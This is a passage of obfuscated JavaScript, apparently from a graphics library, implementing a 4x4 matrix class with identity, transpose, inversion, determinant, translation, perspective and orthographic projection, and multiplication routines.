this['y'] + this['z'] * this['z']); } ['distance'](_0x14cb96) { let _0xe4f611 = _0x14cb96['x'] - this['x'], _0xc9b12a = _0x14cb96['y'] - this['y'], _0x3e33fc = _0x14cb96['z'] - this['z']; return Math['sqrt'](_0xe4f611 * _0xe4f611 + _0xc9b12a * _0xc9b12a + _0x3e33fc * _0x3e33fc); } }, _0x25d618 = 0x0, _0x55d0aa = 0x4, _0x2b46b3 = 0x8, _0x3dff38 = 0xc, _0x25d647 = 0x1, _0x2ab09b = 0x5, _0x558473 = 0x9, _0x2e74be = 0xd, _0x3a218a = 0x2, _0x17b526 = 0x6, _0x419787 = 0xa, _0x39725b = 0xe, _0x5dbca2 = 0x3, _0x2c4831 = 0x7, _0x3b4601 = 0xb, _0x1780e3 = 0xf, _0x1fd063 = class { constructor() { this['temp'] = new Float32Array(0x10), this['values'] = new Float32Array(0x10); let _0x2824d0 = this['values']; _0x2824d0[_0x25d618] = 0x1, _0x2824d0[_0x2ab09b] = 0x1, _0x2824d0[_0x419787] = 0x1, _0x2824d0[_0x1780e3] = 0x1; } ['set'](_0x3ba7ce) { return this['values']['set'](_0x3ba7ce), this; } ['transpose']() { let _0x4feab5 = this['temp'], _0x52ef32 = this['values']; return _0x4feab5[_0x25d618] = _0x52ef32[_0x25d618], _0x4feab5[_0x55d0aa] = _0x52ef32[_0x25d647], _0x4feab5[_0x2b46b3] = _0x52ef32[_0x3a218a], _0x4feab5[_0x3dff38] = _0x52ef32[_0x5dbca2], _0x4feab5[_0x25d647] = _0x52ef32[_0x55d0aa], _0x4feab5[_0x2ab09b] = _0x52ef32[_0x2ab09b], _0x4feab5[_0x558473] = _0x52ef32[_0x17b526], _0x4feab5[_0x2e74be] = _0x52ef32[_0x2c4831], _0x4feab5[_0x3a218a] = _0x52ef32[_0x2b46b3], _0x4feab5[_0x17b526] = _0x52ef32[_0x558473], _0x4feab5[_0x419787] = _0x52ef32[_0x419787], _0x4feab5[_0x39725b] = _0x52ef32[_0x3b4601], _0x4feab5[_0x5dbca2] = _0x52ef32[_0x3dff38], _0x4feab5[_0x2c4831] = _0x52ef32[_0x2e74be], _0x4feab5[_0x3b4601] = _0x52ef32[_0x39725b], _0x4feab5[_0x1780e3] = _0x52ef32[_0x1780e3], this['set'](_0x4feab5); } ['identity']() { let _0xf8cc1 = this['values']; return _0xf8cc1[_0x25d618] = 0x1, _0xf8cc1[_0x55d0aa] = 0x0, _0xf8cc1[_0x2b46b3] = 0x0, _0xf8cc1[_0x3dff38] = 0x0, _0xf8cc1[_0x25d647] = 0x0, _0xf8cc1[_0x2ab09b] = 0x1, _0xf8cc1[_0x558473] = 0x0, _0xf8cc1[_0x2e74be] = 0x0, _0xf8cc1[_0x3a218a] = 0x0, _0xf8cc1[_0x17b526] = 0x0, _0xf8cc1[_0x419787] = 0x1, _0xf8cc1[_0x39725b] = 0x0, _0xf8cc1[_0x5dbca2] = 0x0, _0xf8cc1[_0x2c4831] = 0x0, _0xf8cc1[_0x3b4601] = 0x0, _0xf8cc1[_0x1780e3] = 0x1, this; } ['invert']() { let _0x1b3fcd = this['values'], _0x46486e = this['temp'], _0x5f4afc = _0x1b3fcd[_0x5dbca2] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x3dff38] - _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x2c4831] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x3dff38] - _0x1b3fcd[_0x5dbca2] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x3dff38] + _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x2c4831] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x3dff38] + _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x3b4601] * _0x1b3fcd[_0x3dff38] - _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x3b4601] * _0x1b3fcd[_0x3dff38] - _0x1b3fcd[_0x5dbca2] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2e74be] + _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x2c4831] * _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2e74be] + _0x1b3fcd[_0x5dbca2] * _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x2e74be] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2c4831] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x2e74be] - _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x3b4601] * _0x1b3fcd[_0x2e74be] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x3b4601] * _0x1b3fcd[_0x2e74be] + _0x1b3fcd[_0x5dbca2] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x39725b] - _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x2c4831] * _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x39725b] - _0x1b3fcd[_0x5dbca2] * _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x39725b] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2c4831] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x39725b] + _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x3b4601] * _0x1b3fcd[_0x39725b] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x3b4601] * _0x1b3fcd[_0x39725b] - _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x1780e3] + _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x1780e3] + _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x1780e3] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x1780e3] - _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x1780e3] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x1780e3]; if (0x0 == _0x5f4afc) throw new Error('non-invertible\x20matrix'); let _0x513314 = 0x1 / _0x5f4afc; return _0x46486e[_0x25d618] = _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x2c4831] + _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x3b4601] - _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x3b4601] - _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x1780e3] + _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x55d0aa] = _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x3b4601] + _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x3b4601] + _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x1780e3] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x2b46b3] = _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x2c4831] + _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x3b4601] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x3b4601] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x1780e3] + _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x3dff38] = _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x17b526] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x17b526] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x419787] + _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x419787] + _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x39725b] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x39725b], _0x46486e[_0x25d647] = _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x3b4601] + _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x3b4601] + _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x1780e3] - _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x2ab09b] = _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x5dbca2] + _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x3b4601] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x3b4601] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x1780e3] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x558473] = _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x3b4601] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x3b4601] + _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x1780e3] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x2e74be] = _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x3a218a] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x3a218a] + _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x419787] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x419787] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x39725b] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x39725b], _0x46486e[_0x3a218a] = _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x5dbca2] + _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x1780e3] + _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x17b526] = _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x2c4831] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x39725b] * _0x1b3fcd[_0x2c4831] + _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x1780e3] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x419787] = _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x5dbca2] + _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x1780e3] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x1780e3], _0x46486e[_0x39725b] = _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x3a218a] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x3a218a] - _0x1b3fcd[_0x3dff38] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x17b526] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2e74be] * _0x1b3fcd[_0x17b526] + _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x39725b] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x39725b], _0x46486e[_0x5dbca2] = _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x2c4831] + _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x2c4831] + _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x3b4601] - _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x3b4601], _0x46486e[_0x2c4831] = _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x5dbca2] + _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x419787] * _0x1b3fcd[_0x2c4831] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x3a218a] * _0x1b3fcd[_0x3b4601] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x17b526] * _0x1b3fcd[_0x3b4601], _0x46486e[_0x3b4601] = _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x5dbca2] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x2c4831] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x2c4831] + _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x3b4601] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x3b4601], _0x46486e[_0x1780e3] = _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x3a218a] - _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x3a218a] + _0x1b3fcd[_0x2b46b3] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x17b526] - _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x558473] * _0x1b3fcd[_0x17b526] - _0x1b3fcd[_0x55d0aa] * _0x1b3fcd[_0x25d647] * _0x1b3fcd[_0x419787] + _0x1b3fcd[_0x25d618] * _0x1b3fcd[_0x2ab09b] * _0x1b3fcd[_0x419787], _0x1b3fcd[_0x25d618] = _0x46486e[_0x25d618] * _0x513314, _0x1b3fcd[_0x55d0aa] = _0x46486e[_0x55d0aa] * _0x513314, _0x1b3fcd[_0x2b46b3] = _0x46486e[_0x2b46b3] * _0x513314, _0x1b3fcd[_0x3dff38] = _0x46486e[_0x3dff38] * _0x513314, _0x1b3fcd[_0x25d647] = _0x46486e[_0x25d647] * _0x513314, _0x1b3fcd[_0x2ab09b] = _0x46486e[_0x2ab09b] * _0x513314, _0x1b3fcd[_0x558473] = _0x46486e[_0x558473] * _0x513314, _0x1b3fcd[_0x2e74be] = _0x46486e[_0x2e74be] * _0x513314, _0x1b3fcd[_0x3a218a] = _0x46486e[_0x3a218a] * _0x513314, _0x1b3fcd[_0x17b526] = _0x46486e[_0x17b526] * _0x513314, _0x1b3fcd[_0x419787] = _0x46486e[_0x419787] * _0x513314, _0x1b3fcd[_0x39725b] = _0x46486e[_0x39725b] * _0x513314, _0x1b3fcd[_0x5dbca2] = _0x46486e[_0x5dbca2] * _0x513314, _0x1b3fcd[_0x2c4831] = _0x46486e[_0x2c4831] * _0x513314, _0x1b3fcd[_0x3b4601] = _0x46486e[_0x3b4601] * _0x513314, _0x1b3fcd[_0x1780e3] = _0x46486e[_0x1780e3] * _0x513314, this; } ['determinant']() { let _0x39a5ad = this['values']; return _0x39a5ad[_0x5dbca2] * _0x39a5ad[_0x17b526] * _0x39a5ad[_0x558473] * _0x39a5ad[_0x3dff38] - _0x39a5ad[_0x3a218a] * _0x39a5ad[_0x2c4831] * _0x39a5ad[_0x558473] * _0x39a5ad[_0x3dff38] - _0x39a5ad[_0x5dbca2] * _0x39a5ad[_0x2ab09b] * _0x39a5ad[_0x419787] * _0x39a5ad[_0x3dff38] + _0x39a5ad[_0x25d647] * _0x39a5ad[_0x2c4831] * _0x39a5ad[_0x419787] * _0x39a5ad[_0x3dff38] + _0x39a5ad[_0x3a218a] * _0x39a5ad[_0x2ab09b] * _0x39a5ad[_0x3b4601] * _0x39a5ad[_0x3dff38] - _0x39a5ad[_0x25d647] * _0x39a5ad[_0x17b526] * _0x39a5ad[_0x3b4601] * _0x39a5ad[_0x3dff38] - _0x39a5ad[_0x5dbca2] * _0x39a5ad[_0x17b526] * _0x39a5ad[_0x2b46b3] * _0x39a5ad[_0x2e74be] + _0x39a5ad[_0x3a218a] * _0x39a5ad[_0x2c4831] * _0x39a5ad[_0x2b46b3] * _0x39a5ad[_0x2e74be] + _0x39a5ad[_0x5dbca2] * _0x39a5ad[_0x55d0aa] * _0x39a5ad[_0x419787] * _0x39a5ad[_0x2e74be] - _0x39a5ad[_0x25d618] * _0x39a5ad[_0x2c4831] * _0x39a5ad[_0x419787] * _0x39a5ad[_0x2e74be] - _0x39a5ad[_0x3a218a] * _0x39a5ad[_0x55d0aa] * _0x39a5ad[_0x3b4601] * _0x39a5ad[_0x2e74be] + _0x39a5ad[_0x25d618] * _0x39a5ad[_0x17b526] * _0x39a5ad[_0x3b4601] * _0x39a5ad[_0x2e74be] + _0x39a5ad[_0x5dbca2] * _0x39a5ad[_0x2ab09b] * _0x39a5ad[_0x2b46b3] * _0x39a5ad[_0x39725b] - _0x39a5ad[_0x25d647] * _0x39a5ad[_0x2c4831] * _0x39a5ad[_0x2b46b3] * _0x39a5ad[_0x39725b] - _0x39a5ad[_0x5dbca2] * _0x39a5ad[_0x55d0aa] * _0x39a5ad[_0x558473] * _0x39a5ad[_0x39725b] + _0x39a5ad[_0x25d618] * _0x39a5ad[_0x2c4831] * _0x39a5ad[_0x558473] * _0x39a5ad[_0x39725b] + _0x39a5ad[_0x25d647] * _0x39a5ad[_0x55d0aa] * _0x39a5ad[_0x3b4601] * _0x39a5ad[_0x39725b] - _0x39a5ad[_0x25d618] * _0x39a5ad[_0x2ab09b] * _0x39a5ad[_0x3b4601] * _0x39a5ad[_0x39725b] - _0x39a5ad[_0x3a218a] * _0x39a5ad[_0x2ab09b] * _0x39a5ad[_0x2b46b3] * _0x39a5ad[_0x1780e3] + _0x39a5ad[_0x25d647] * _0x39a5ad[_0x17b526] * _0x39a5ad[_0x2b46b3] * _0x39a5ad[_0x1780e3] + _0x39a5ad[_0x3a218a] * _0x39a5ad[_0x55d0aa] * _0x39a5ad[_0x558473] * _0x39a5ad[_0x1780e3] - _0x39a5ad[_0x25d618] * _0x39a5ad[_0x17b526] * _0x39a5ad[_0x558473] * _0x39a5ad[_0x1780e3] - _0x39a5ad[_0x25d647] * _0x39a5ad[_0x55d0aa] * _0x39a5ad[_0x419787] * _0x39a5ad[_0x1780e3] + _0x39a5ad[_0x25d618] * _0x39a5ad[_0x2ab09b] * _0x39a5ad[_0x419787] * _0x39a5ad[_0x1780e3]; } ['translate'](_0x1ff018, _0x545ae1, _0x45ba04) { let _0x4edc2c = this['values']; return _0x4edc2c[_0x3dff38] += _0x1ff018, _0x4edc2c[_0x2e74be] += _0x545ae1, _0x4edc2c[_0x39725b] += _0x45ba04, this; } ['copy']() { return new _0x1fd063()['set'](this['values']); } ['projection'](_0x3bee68, _0x2532b7, _0x24c94a, _0x122fb2) { this['identity'](); let _0x532ef1 = 0x1 / Math['tan'](_0x24c94a * (Math['PI'] / 0xb4) / 0x2), _0x31422a = (_0x2532b7 + _0x3bee68) / (_0x3bee68 - _0x2532b7), _0x16b5a6 = 0x2 * _0x2532b7 * _0x3bee68 / (_0x3bee68 - _0x2532b7), _0x45b0a2 = this['values']; return _0x45b0a2[_0x25d618] = _0x532ef1 / _0x122fb2, _0x45b0a2[_0x25d647] = 0x0, _0x45b0a2[_0x3a218a] = 0x0, _0x45b0a2[_0x5dbca2] = 0x0, _0x45b0a2[_0x55d0aa] = 0x0, _0x45b0a2[_0x2ab09b] = _0x532ef1, _0x45b0a2[_0x17b526] = 0x0, _0x45b0a2[_0x2c4831] = 0x0, _0x45b0a2[_0x2b46b3] = 0x0, _0x45b0a2[_0x558473] = 0x0, _0x45b0a2[_0x419787] = _0x31422a, _0x45b0a2[_0x3b4601] = -0x1, _0x45b0a2[_0x3dff38] = 0x0, _0x45b0a2[_0x2e74be] = 0x0, _0x45b0a2[_0x39725b] = _0x16b5a6, _0x45b0a2[_0x1780e3] = 0x0, this; } ['ortho2d'](_0xa3d3aa, _0x20913a, _0x2deaa6, _0x56c3dd) { return this['ortho'](_0xa3d3aa, _0xa3d3aa + _0x2deaa6, _0x20913a, _0x20913a + _0x56c3dd, 0x0, 0x1); } ['ortho'](_0x4fc779, _0x1c76d4, _0x2afe01, _0x30311e, _0x7f1317, _0x18f30d) { this['identity'](); let _0x527141 = 0x2 / (_0x1c76d4 - _0x4fc779), _0x57e140 = 0x2 / (_0x30311e - _0x2afe01), _0x2810f2 = -0x2 / (_0x18f30d - _0x7f1317), _0x455592 = -(_0x1c76d4 + _0x4fc779) / (_0x1c76d4 - _0x4fc779), _0x37974d = -(_0x30311e + _0x2afe01) / (_0x30311e - _0x2afe01), _0x176172 = -(_0x18f30d + _0x7f1317) / (_0x18f30d - _0x7f1317), _0x12559a = this['values']; return _0x12559a[_0x25d618] = _0x527141, _0x12559a[_0x25d647] = 0x0, _0x12559a[_0x3a218a] = 0x0, _0x12559a[_0x5dbca2] = 0x0, _0x12559a[_0x55d0aa] = 0x0, _0x12559a[_0x2ab09b] = _0x57e140, _0x12559a[_0x17b526] = 0x0, _0x12559a[_0x2c4831] = 0x0, _0x12559a[_0x2b46b3] = 0x0, _0x12559a[_0x558473] = 0x0, _0x12559a[_0x419787] = _0x2810f2, _0x12559a[_0x3b4601] = 0x0, _0x12559a[_0x3dff38] = _0x455592, _0x12559a[_0x2e74be] = _0x37974d, _0x12559a[_0x39725b] = _0x176172, _0x12559a[_0x1780e3] = 0x1, this; } ['multiply'](_0x5ad907) { let _0x28848d = this['temp'], _0xd30822 = this['values'], _0x51d625 = _0x5ad907['values']; return _0x28848d[_0x25d618] = _0xd30822[_0x25d618] * _0x51d625[_0x25d618] + _0xd30822[_0x55d0aa] * _0x51d625[_0x25d647] + _0xd30822[_0x2b46b3] * _0x51d625[_0x3a218a] + _0xd30822[_0x3dff38] * _0x51d625[_0x5dbca2], _0x28848d[_0x55d0aa] = _0xd30822[_0x25d618] * _0x51d625[_0x55d0aa] + _0xd30822[_0x55d0aa] * _0x51d625[_0x2ab09b] + _0xd30822[_0x2b46b3] * _0x51d625[_0x17b526] + _0xd30822[_0x3dff38] * _0x51d625[_0x2c4831], _0x28848d[_0x2b46b3] = _0xd30822[_0x25d618] * _0x51d625[_0x2b46b3] + _0xd30822[_0x55d0aa] * _0x51d625[_0x558473] + _0xd30822[_0x2b46b3] * _0x51d625[_0x419787] + _0xd30822[_0x3dff38] * _0x51d625[_0x3b4601], _0x28848d[_0x3dff38] = _0xd30822[_0x25d618] * _0x51d625[_0x3dff38] + _0xd30822[_0x55d0aa] * _0x51d625[_0x2e74be] + _0xd30822[_0x2b46b3] * _0x51d625[_0x39725b] + _0xd30822[_0x3dff38] * _0x51d625[_0x1780e3], _0x28848d[_0x25d647] = _0xd30822[_0x25d647] * _0x51d625[_0x25d618] + _0xd30822[_0x2ab09b] * _0x51d625[_0x25d647] + _0xd30822[_0x558473] * _0x51d625[_0x3a218a] + _0xd30822[_0x2e74be] * _0x51d625[_0x5dbca2], _0x28848d[_0x2ab09b] = _0xd30822[_0x25d647] * _0x51d625[_0x55d0aa] + _0xd30822[_0x2ab09b] * _0x51d625[_0x2ab09b] + _0xd30822[_0x558473] * _0x51d625[_0x17b526] + _0xd30822[_0x2e74be] * _0x51d625[_0x2c4831], _0x28848d[_0x558473] = _0xd30822[_0x25d647] * _0x51d625[_0x2b46b3] + _0xd30822[_0x2ab09b] * _0x51d625[_0x558473] + _0xd30822[_0x558473] * _0x51d625[_0x419787] + _0xd30822[_0x2e74be] * _0x51d625[_0x3b4601], _0x28848d[_0x2e74be] = _0xd30822[_0x25d647] * _0x51d625[_0x3dff38] + _0xd30822[_0x2ab09b] * _0x51d625[_0x2e74be] + _0xd30822[_0x558473] * _0x51d625[_0x39725b] + _0xd30822[_0x2e74be] * _0x51d625[_0x1780e3], _0x28848d[_0x3a218a] = _0xd30822[_0x3a218a] * _0x51d625[_0x25d618] + _0xd30822[_0x17b526] * _0x51d625[_0x25d647] + _0xd30822[_0x419787] * _0x51d625[_0x3a218a] + _0xd30822[_0x39725b] * _0x51d625[_0x5dbca2], _0x28848d[_0x17b526] = _0xd30822[_0x3a218a] * _0x51d625[_0x55d0aa] + _0xd30822[_0x17b526] * _0x51d625[_0x2ab09b] + _0xd30822[_0x419787] * _0x51d625[_0x17b526] + _0xd30822[_0x39725b] * _0x51d625[_0x2c4831], _0x28848d[_0x419787] = _0xd30822[_0x3a218a] * _0x51d625[_0x2b46b3] + _0xd30822[_0x17b526] * _0x51d625[_0x558473] + _0xd30822[_0x419787] * _0x51d625[_0x419787] + _0xd30822[_0x39725b] * _0x51d625[_0x3b4601], _0x28848d[_0x39725b] = _0xd30822[_0x3a218a] * _0x51d625[_0x3dff38] + _0xd30822[_0x17b526] * _0x51d625[_0x2e74be] + _0xd30822[_0x419787] * _0x51d625[_0x39725b] + _0xd30822[_0x39725b] * _0x51d625[_0x1780e3], _0x28848d[_0x5dbca2] = _0xd30822[_0x5dbca2] * _0x51d625[_0x25d618] + _0xd30822[_0x2c4831] * _0x51d625[_0x25d647] + _0xd30822[_0x3b4601] * _0x51d625[_0x3a218a] + _0xd30822[_0x1780e3] * _0x51d625[_0x5dbca2], _0x28848d[_0x2c4831] = _0xd30822[_0x5dbca2] * _0x51d625[_0x55d0aa] + _0xd30822[_0x2c4831] * _0x51d625[_0x2ab09b] + _0xd30822[_0x3b4601] * _0x51d625[_0x17b526] + _0xd30822[_0x1780e3] 